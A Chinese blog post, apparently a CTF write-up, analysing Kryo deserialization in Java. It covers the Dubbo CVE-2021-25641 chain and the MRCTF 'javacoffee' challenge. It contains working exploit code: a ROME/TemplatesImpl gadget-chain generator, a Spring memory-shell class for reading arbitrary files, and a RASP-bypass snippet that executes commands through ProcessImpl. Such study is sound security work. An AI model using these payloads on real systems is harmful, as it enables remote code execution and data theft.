kryo反序列化

Posted by Azeril on November 16, 2023

前言 (不出网)

别看了刚才强网拟态java题润过来
Kryo是一种快速高效的Java对象图序列化框架

一般漏洞出现得比较多的反序列化点是使用kryo.readClassAndObject函数,那么对应的序列化点是kryo.writeClassAndObject ,当然这个类也存在readObjectwriteObject 方法,不过这里以前两个例子学习

先给出一个例子

<dependency>
  <groupId>com.esotericsoftware</groupId>
  <artifactId>kryo</artifactId>
  <version>5.2.0</version>
</dependency>
package Kryo;

public class User{
    private String name;
    private int id;
    private String password;

    public User(){
        this.name = "test";
        this.id = 123;
        this.password = "test";
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}
package Kryo;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {

        Kryo kryo = new Kryo();
        kryo.register(User.class);
        User u = new User();

        Output output = new Output(new FileOutputStream("file.bin"));
        kryo.writeClassAndObject(output, u);
        output.close();

        Input input = new Input(new FileInputStream("file.bin"));
        User o = (User)kryo.readClassAndObject(input);
        input.close();
        System.out.println(o.getName());
    }
}

对其内容进行调试,就能够发现这个kryo反序列化的几个特性:

  1. 从5.0.0版本后,kryo整体进行了较大的重构,其中一个重大的改造是将com.esotericsoftware.kryo.Kryo类的registrationRequired属性默认设置为true。相当于开启了白名单,只有注册过的类才能被序列化和反序列化。

    1. 如果kryo.register(User.class)**;** 这一行代码给去掉,会出现这样的问题,此时并不能注册

    2. image-20231116202100079

默认使用FieldSerizlizer处理

image-20231116202126657

必须要无参方法,

image-20231116202144332

浅析Dubbo Kryo反序列化漏洞(CVE-2021-25641)

搭建环境一生之敌,别问问就是(环境又搞失败了)又又又又只能看着文章进行分析了

在DecodeableRpcInvocation类的decode()函数中,通过serializationType为8、获取到反序列化器Kryo,然后调用readUTF()函数来读取dubbo协议对应的字段信息如dubbo协议版本、服务名称、服务版本、方法名、方法参数类型等:

首先执行到decode()方法,然后 in.readUTF() ,后面就是对数组

image-20231116220842524

从input中读取解析到type为HashMap,因此会调用Kryo的MapSerializer序列化器来读取input中的信息:

image-20231116221056694

然后调用了map.put()方法然后 —–》equals 。。。。。等

Dubbo并不遵守Kryo原生反序列化的流程,默认将类注册registerationRequired关闭了,

,而且实现的KryoFactory 接口在高版本也没有了,所以Dubbo在这个版本里面是自己整的Kryo的反序列化处理,种种解除限制导致危害提升了

Dubbo里面的自带的fastjson完成利用链的构造

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
    
    
    
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

MRCTF javacoffee

依赖

Kryo-5.3.0
rome-1.7.0
jackson
snakeyaml
springboot

​ 斯,死去的记忆突然袭击我,rome?忘了我丢,Kryo-5.3.0必须注册的类才可以进行反序列化,并且反序列化的类必须有无参构造方法,并且使用固定的解析器

做题

public class BaseController {
    protected Kryo kryo = new Kryo();
} 
public class CoffeeController extends BaseController {
    @RequestMapping({"/coffee/index"})
    public Message index() {
        return new Message(200, "what do your want? please order");
    }

    @RequestMapping({"/coffee/order"})
    public Message order(@RequestBody CoffeeRequest coffee) {//coffee接收传参
        if (coffee.extraFlavor != null) {//extraFlavor是一个javabean
            
            return new Message(200, ((ExtraFlavor) this.kryo.readClassAndObject(new Input(new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor))))).getName());
            
        } else if (coffee.espresso > 0.5d) {
            return new Message(200, "DOPPIO");
        } else {
            if (coffee.hotWater > 0.5d) {
                return new Message(200, "AMERICANO");
            }
            if (coffee.milkFoam <= 0.0d || coffee.steamMilk <= 0.0d) {
                if (coffee.espresso > 0.0d) {
                    return new Message(200, "Espresso");
                }
                return new Message(200, "empty");
            } else if (coffee.steamMilk > coffee.milkFoam) {
                return new Message(200, "CAPPUCCINO");
            } else {
                return new Message(200, "Latte");
            }
        }
    }

    @org.springframework.web.bind.annotation.RequestMapping({"/coffee/demo"})
    public fun.mrctf.springcoffee.model.Message demoFlavor(@org.springframework.web.bind.annotation.RequestBody java.lang.String r8) throws java.lang.Exception {
        throw new UnsupportedOperationException("Method not decompiled: fun.mrctf.springcoffee.controller.CoffeeController.demoFlavor(java.lang.String):fun.mrctf.springcoffee.model.Message");
    }
}

image-20231117182949441

先传入一个coffee,和以往不同的是,这里需要传入Object对象、以往都是String对象。

感觉依旧是传序列化,毕竟后面也是反序列化

可是有一个情况,CoffeeRequest这个类没有无参构造哦,反序列化一定会报错的,这怎么办呢?(只有注册过的类才能被序列化和反序列化。)👴猜测肯定是反射改配置啥的

stop以上纯属瞎扯,tnnd又是jd-gui这个软件坑了我,好用是好用,有时候是真不显示代码啊。。。

image-20231117185719351

以后还是长个心眼,idea看叭。。。

 @RequestMapping("/coffee/demo")
    public Message demoFlavor(@RequestBody String raw) throws Exception {//raw string进行传参
        System.out.println(raw);
        //例  raw={'polish':'true'}
        JSONObject serializeConfig = new JSONObject(raw);//json解析
        
        if(serializeConfig.has("polish")&&serializeConfig.getBoolean("polish")){
            kryo=new Kryo();
            for (Method setMethod:kryo.getClass().getDeclaredMethods()) {
                if(!setMethod.getName().startsWith("set")){//遍历到是set开头的方法
                    continue;
                }
                try {
                    Object p1 = serializeConfig.get(setMethod.getName().substring(3));//截取set后面的属性
                    //p1是可控的只需要,在json中添加  一个set 后面的属性值自己写即可
                    
                    if(!setMethod.getParameterTypes()[0].isPrimitive()){//如果参数不是原始类型,不是 int String...
                        try {
                            p1 = Class.forName((String) p1).newInstance();//就进行实例化
                            setMethod.invoke(kryo, p1);//并且执行方法 p1是参数
                        }catch (Exception e){
                            e.printStackTrace();
                        }
                    }else{
                        setMethod.invoke(kryo,p1);
                    }
                }catch (Exception e){
                    continue;
                }
            }
        }

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
        kryo.register(Mocha.class);
        kryo.writeClassAndObject(output,new Mocha());
        output.flush();
        output.close();

        return new Message(200,"Mocha!",Base64.getEncoder().encode(bos.toByteArray()));
    }

image-20231117192614107

image-20231117192745070

这样一来,最有价值的就是newinstance、和调用一个set方法

image-20231117194136808

这里大概看了一下方法,莫非是让我们通过这个set修改掉CoffeeRequest这个类的注册状态👴(感觉就是这样的)

可是需要传入的是一个序列化的数据。。(可能又想错了,根据英语意思:默认序列化器?这 不是前面的:FiledSerialize 、MapSerialize)

润去看了看wp

tnnd思想狭窄了又,下面不也可以invoke进行执行?,再循环一次所有的set方法

image-20231117200058526

image-20231117200144821

唉,自己背锅😭

image-20231117200213767

那么CoffeeRequest未经注册,序列化反序列化的问题就解决了,接下来就是找链子了。

上一道题的漏洞是因为,Dubbo中有fastjson的依赖,而这道题是没有的,看一下readobject有啥东西

我先盲猜一下,通过set修改默认序列化器,改成MapSerialize,然后通过这个就会触发hashmap的equals方法

(其实是复现上面那个漏洞的理解)但是如果是这样的话,key和value咋传入???(对不起,脑子又tnnd短路了,我最后让 writeobject(map)一个map不就行了嘛)

image-20231117200718197

既然存在ROME依赖肯定是拿ROME来打,看一下自己以前写的文章

tnnd,又是这种报错,烦死

image-20231117211249174

干脆自己新建了一个类

导入rome、和kryo依赖即可

image-20231118105018754

这样的话链子就构造好了,

序列化没问题,反序列化的时候报错了

没有无参构造,肯定不能改类,那肯定就是setter方法了

image-20231118121146172

image-20231118122209083

根据方法名字推测就是这个,点进去,发现接收InstantiatorStrategy类型的数据,而InstantiatorStrategy是一个接口看一下实现类

image-20231118122235675

image-20231118134341337

默认是DefaultInstantiatorStrategy类,第一种方法是一个个试,第二查百度,

image-20231118135510375

(这样反序列化就不会报错了)

StdInstantiatorStrategy stdInstantiatorStrategy = new StdInstantiatorStrategy();
kryo.setInstantiatorStrategy(stdInstantiatorStrategy);  怪不得需要反射方法毕竟参数需要object类滴

现在需要修改的就是那个默认的序列化器,FieldSerialize改成MapSerialize(这里想了一下传入Map的类型,它会自动用Mapserialize

使用这个方法但是参数需要是 SerializerFactory类型的

image-20231118112609681

很纳闷哦,直接反序列化并不会弹出计算器,但是如果直接调试则会,

image-20231118145537521

最终加了一个makeMap防止序列化的时候进入命令执行的点,然后成功了。

image-20231118153859591

准备开始打题目

首先改二处配置

kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());

{“polish”:true,”RegistrationRequired”:false,”InstantiatorStrategy”:”org.objenesis.strategy.StdInstantiatorStrategy”}

@RequestBody CoffeeRequest coffee 不太懂这里怎么传参呢,百度了一下直接json就可以了
    {
      "extraFlavor": "vanilla"
    }

tnnd犯了一个蠢比问题,题目中用的是rome1.7,我本地搭环境用的是1.0,这两者的区别很大

在rome 1.7中
com.rometools.rome.feed.impl.Objectbean.class
但是在rome1.0中
com.sun.syndication.feed.impl.ObjectBean.class;

类换了位置,一直用rome1.0打rome1.7纯2B

package fun.mrctf.springcoffee;


import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.esotericsoftware.kryo.io.Input;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;

import org.objenesis.strategy.StdInstantiatorStrategy;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class rome_poc {
    public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static void main(String[] args) throws Exception {

        Kryo kryo = new Kryo();
        String raw = "{\"polish\":\"true\",\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}";

        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        kryo.setRegistrationRequired(false);


        byte[] bytes=ClassPool.getDefault().get(FileRead.class.getName()).toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap1 = getpayload(Templates.class, obj);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));

        HashMap hashMap2 = getpayload(SignedObject.class, signedObject);

        //序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
        kryo.writeClassAndObject(output, hashMap2);
        output.close();
        System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));

        //反序列化
        ByteArrayInputStream bas = new ByteArrayInputStream(bos.toByteArray());
        Input input = new Input(bas);
        kryo.readClassAndObject(input);
    }

    public static HashMap getpayload(Class clazz, Object obj) throws Exception {
        ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        ObjectBean expObjectBean = new ObjectBean(clazz, obj);
        setFieldValue(objectBean, "equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
        return hashMap;
    }
}

image-20231123202536742

在这里也报了很多错误

比如slf4j,很多次了都是报这个错误,以前也有(导入这个依赖即可)

<dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.22</version>
        </dependency>

image-20231118175654746

首先先修改属性的值,然后打上面的payload

image-20231118180434057

开始直接打题目的环境

image-20231118180955095

本来在服务器搭建的好好的,但就是死活打不上去,看报错日志

image-20231118183101941

真的烦搭建环境!!!!

springboot2.6以后RequestMappingInfo的初始化构造发生了一些变化

读文件(read=file:.)

 String code = request.getParameter("read");
 java.io.PrintWriter writer = response.getWriter();
 String urlContent = "";
 URL url = new URL(code);
 BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
 String inputLine = "";
 while ((inputLine = in.readLine()) != null) {
     urlContent = urlContent + inputLine + "\n";
 }
 in.close();
 writer.println(urlContent);
 writer.flush();
 writer.close();
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;

public class FileRead extends AbstractTranslet {

    public FileRead() {

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = FileRead.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/fileread")
                    .options(config)
                    .build();
            FileRead fileRead = new FileRead("aaa");
            mappingHandlerMapping.registerMapping(info, fileRead, method2);
        } catch (Exception e) {

        }
    }
    public FileRead(String aaa) {

    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        PrintWriter writer = response.getWriter();
     //exec
        try {
        String urlContent = "";
        final URL url = new URL(request.getParameter("read"));
        final BufferedReader in = new BufferedReader(new
                InputStreamReader(url.openStream()));
        String inputLine = "";
        while ((inputLine = in.readLine()) != null) {
            urlContent = urlContent + inputLine + "\n";
        }
        in.close();
            writer.write(urlContent);
            writer.flush();
            writer.close();
    } catch (Exception e) {

    }

}

    public static void main(String[] args) {

    }
}

这里不出网的环境,Thread.slepp(9999) 也应该执行的呀

读取rasp的流程就省略了,具体可看安恒月赛那道题

image-20231118185217491

image-20231118185224916

这道题的话相比于安恒仁慈了,通过调用下面的UnixProcess#forkAndExec就可以绕过,碰见这个方法直接返回了

image-20231118185730405

这是windows绕过的例子,通过底层 ProcessImpl#create方法

public class aaaaa {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field field = clazz.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
        Process process = (Process) unsafe.allocateInstance(processImpl);
        Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
        create.setAccessible(true);
        long[] stdHandles = new long[]{-1L, -1L, -1L};
        create.invoke(process, "whoami", null, null, stdHandles, false);

        JavaIOFileDescriptorAccess fdAccess
                = sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
        FileDescriptor stdout_fd = new FileDescriptor();
        fdAccess.setHandle(stdout_fd, stdHandles[1]);
        InputStream inputStream = new BufferedInputStream(
                new FileInputStream(stdout_fd));

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
    }
}

出题人最后自己加的运算防止非预期,c写的tnnd不会

image-20231118191506185

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
回忆一下安恒月赛怎么做的 
读到了jar包然后我们自己用linux写了一个恶意的so文件并且调用加载了这个最后命令传入这个方法那么这道题也是可以用的

http://www.bmth666.cn/2022/11/02/RASP%E7%BB%95%E8%BF%87%E5%88%9D%E6%8E%A2/


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。